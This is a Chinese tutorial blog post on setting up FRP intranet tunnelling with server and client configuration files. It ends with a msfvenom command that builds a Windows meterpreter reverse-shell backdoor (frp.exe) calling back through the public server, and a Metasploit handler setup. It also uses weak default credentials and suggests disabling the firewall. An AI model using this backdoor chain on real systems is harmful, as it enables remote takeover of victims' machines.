【内网安全-隧道搭建】内网穿透_Frp上线、测试

本文涉及的产品
.cn 域名,1个 12个月
简介: 【内网安全-隧道搭建】内网穿透_Frp上线、测试

Frp(简易上线)


1、简述:


1)Frp (Fast Reverse Proxy) 是一个免费开源的用于内网穿透的反向代理应用,它支持 TCP、UDP 协议, 也为 HTTP、HTTPS 协议提供了额外的支持。


2)frp:服务端(装在公网ip的服务器上)+客户端(装在内网主机上)


3)中转站功能:实现公网 ←→ FRP(服务器) ←→ 内网 的连接(可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。)


4)原理:


第一步:服务端:运行,并监听端口,等待客户端连接


第二步:客户端:连接服务端的端口,告诉服务端要监听的端口和转发类型


第三步:服务端:创建新的进程,监听客户端指定的端口


第四步:外网用户:连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端


第五步:客户端:进程将数据转发到本地服务


2、工具:


URL:https://github.com/fatedier/frp


选择合适的版本


Releases · fatedier/frp (github.com)

https://github.com/fatedier/frp/releases


545577490d294b9694ae692fca57f675.png

3、使用:


1、准备:


1)准备一个域名(注册一个,直接使用ip也可)


2)准备一个服务器(阿里云、腾讯云等都可以免费领一个月)


3)VM中搭建一个虚拟机(内网环境)


4)测试连通性,使用Xshell,或者准备一台非同一局域网下主机并使用ssh命令


5)下载frp工具

命令行输入:
wget  https://github.com/fatedier/frp/releases/download/v0.46.1/frp_0.46.1_linux_arm64.tar.gz


(下载太慢了,我直接下载到电脑上,然后使用xshell配套的xftp传上去)


a3d68f02935e4bdc8490c569d473c683.png


先解压后再上传的话


1:上传到客户端上面的(即内网主机)


2:上传到服务端上面的(即公网服务器)


ef03c7a0e93b463792b097551dd8c575.png

s结尾代表server(服务端)


c结尾代表client(客户端)


——————


4)文件解压


如果直接使用的命令下载的,就需要解压


tar -zxvf frp_0.46.1_linux_amd64.tar.gz

方法一:然后把服务端的文件cp出来(或删掉客户端文件)


sudo mkdir 创建文件夹

sudo cp 原文件的位置  将要复制到的位置

方法二:直接删除客户端文件


rm frpc
rm frpc.ini
rm frpc_full.ini

解压之后文件夹改个名,方便操作

—————


5)文件添加权限(客户端、服务端)


cd /usr/local/frp
sudo chmod 777 frpc
(777为所有权限,也可以换为+x可执行权限,熟悉Linux的就不用多说了)


2、服务端(公网):

1)修改配置文件(frps.ini)


编辑文件内容
vim ./frps.ini
配置文件内容
[common]
bind_port = 7000         # 服务端与客户端通信端口
dashboard_port = 7500    # 后台管理端口
dashboard_user = admin   # 后台登录用户名
dashboard_pwd = admin
vhost_http_port = 7002   # http穿透端口
vhost_https_port = 7003  # https穿透端口
max_pool_count = 50
token = 123456       # 身份验证令牌,frpc要与frps一致
tcp_mux = true
log_file = /usr/local/frp/frps.log  # 日志相关配置
log_level = info
log_max_days = 3
authentication_timeout = 0  # 服务器与客户端时间相差15min会连接失败,0表示不验证
subdomain_host = ……         # 填写自己注册的域名
privilege_mode = true

——————


2)访问的端口开发


(以腾讯云为例)


方法一:


直接在服务器控制台上添加规则


bdefa0659d41415da4c6e74de5c2cfea.png


方法二:


Linux使用命令行添加


# 添加监听端口
sudo firewall-cmd --permanent --add-port=7000/tcp
# 添加管理后台端口
sudo firewall-cmd --permanent --add-port=7500/tcp
sudo firewall-cmd --reload

方法三:


使用ufw、iptables工具

ec10ad526ad342a1b83b799d4766615c.png



方法四:


直接关闭防火墙


——————


3)启动服务端:


./frps -c ./frps.ini

251f70f0ac1a4c338760e6ebf4e8c98c.png


启动成功


——————


4)访问后台管理界面


服务器ip(或者域名):port(7500)


并使用自己设置的用户名,密码登陆


e4e97093013c4fbdb1a2ef3895d9e22c.png


————


扩展:


关闭窗口会停止


所以,需要后台运行


nohup ./frps -c frps.ini &

16c05a5d02394faa92ba48c97637a0d4.png


2、客户端(内网):

1)解压、保留客户端配置文件


——————


2)修改配置文件


编辑配置文件
vim ./frpc.ini


# 客户端配置
[common]
server_addr = ……          # 公网服务器ip
server_port = 7000      # 公网服务端通信端口,与frps.ini的bind_port一致
token = 123456        # 身份验证令牌,与服务端的frps.ini中token一致)
tcp_mux = true
log_file = /usr/local/frp/frpc.log  # 日志相关
log_level = info
log_max_days = 3
authentication_timeout = 0      # 服务器与客户端时间相差15min会连接失败,0表示不验证
# 配置ssh服务
[ssh]             # 添加ssh节点 
type = tcp
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 22
remote_port = 7001        # 指明由公网服务器的7001端口代理(ssh连接端口,远程服务端口)
# 配置http服务,可用于其他开发
[web01]             # 添加web节点
type = http
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 8080       # 本地8080端口(自定义的tomcat服务)可以通公网服务器7002端口访问
subdomain = web01       # 自定义子域名

——————


3)防火墙端口开放


开放方法和服务端类似

——————


4)客户端启动


./frpc -c frpc.ini

3、测试方法:


方法一:


直接使用Xshell工具,对公网服务器进行连接(公网服务器ip)


端口设置为客户端指定的服务器代理端口(remote_port = 7001)

————


方法二:


使用不在同一局域网下的电脑


ssh admin@***.*.*.* -p 端口
# -p 指定服务器端口号,不指定端口则默认22,但此处修改为我们设置的ssh服务端口7001
# admin 为登录的用户名
# ***.*.*.* 为公网服务器ip/域名

————


注:


如果报错Connection closed by……


1、授予ssh权限


2、开启ssh服务


4、生成后门木马监听:


msfvenom -p windows/meterpreter/reverse_tcp lhost=公网服务器ip lport=服务端代理客户端的端口(即remote_port ) -f exe -o frp.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 127.0.0.1

set LPORT 5555


(注:这个监听端口lport,与本地转发端口一致)

exploit


目录
相关文章
|
4月前
|
SQL 安全 Java
探索软件测试的多维策略:从单元到集成,再到性能与安全
在软件开发生命周期中,测试是不可或缺的一环。本文将深入探讨软件测试的多维策略,从单元测试、集成测试到性能测试和安全测试等各个层面进行剖析。我们将通过具体的统计数据和案例分析,揭示不同测试策略的优势和应用场景。文章旨在为读者提供一个全面的测试框架,帮助他们构建更稳定、高效和安全的系统。
96 2
|
21天前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
21天前
|
人工智能 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(4-2):渗透测试行业术语扫盲完结:就怕你学成黑客啦!)作者——LJS
网络空间安全之一个WH的超前沿全栈技术深入学习之路(4-2):渗透测试行业术语扫盲完结:就怕你学成黑客啦!)作者——LJS
|
21天前
|
安全 大数据 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(3-2):渗透测试行业术语扫盲)作者——LJS
网络空间安全之一个WH的超前沿全栈技术深入学习之路(3-2):渗透测试行业术语扫盲)作者——LJS
|
21天前
|
SQL 安全 网络协议
网络空间安全之一个WH的超前沿全栈技术深入学习之路(1-2):渗透测试行业术语扫盲)作者——LJS
网络空间安全之一个WH的超前沿全栈技术深入学习之路(1-2):渗透测试行业术语扫盲)作者——LJS
|
1月前
|
存储 监控 网络安全
内网渗透测试基础——敏感数据的防护
内网渗透测试基础——敏感数据的防护
|
1月前
|
安全 Shell Linux
内网渗透测试基础——Windows PowerShell篇
内网渗透测试基础——Windows PowerShell篇
|
2月前
|
SQL 安全 网络协议
黑盒渗透测试:揭开未知的安全隐患
【8月更文挑战第31天】
96 0
|
3月前
|
测试技术 Java Spring
Spring 框架中的测试之道:揭秘单元测试与集成测试的双重保障,你的应用真的安全了吗?
【8月更文挑战第31天】本文以问答形式深入探讨了Spring框架中的测试策略,包括单元测试与集成测试的有效编写方法,及其对提升代码质量和可靠性的重要性。通过具体示例,展示了如何使用`@MockBean`、`@SpringBootTest`等注解来进行服务和控制器的测试,同时介绍了Spring Boot提供的测试工具,如`@DataJpaTest`,以简化数据库测试流程。合理运用这些测试策略和工具,将助力开发者构建更为稳健的软件系统。
59 0
|
4月前
|
运维 监控 Serverless
函数计算产品使用问题之如何使用内网地址请求测试环境
函数计算产品作为一种事件驱动的全托管计算服务,让用户能够专注于业务逻辑的编写,而无需关心底层服务器的管理与运维。你可以有效地利用函数计算产品来支撑各类应用场景,从简单的数据处理到复杂的业务逻辑,实现快速、高效、低成本的云上部署与运维。以下是一些关于使用函数计算产品的合集和要点,帮助你更好地理解和应用这一服务。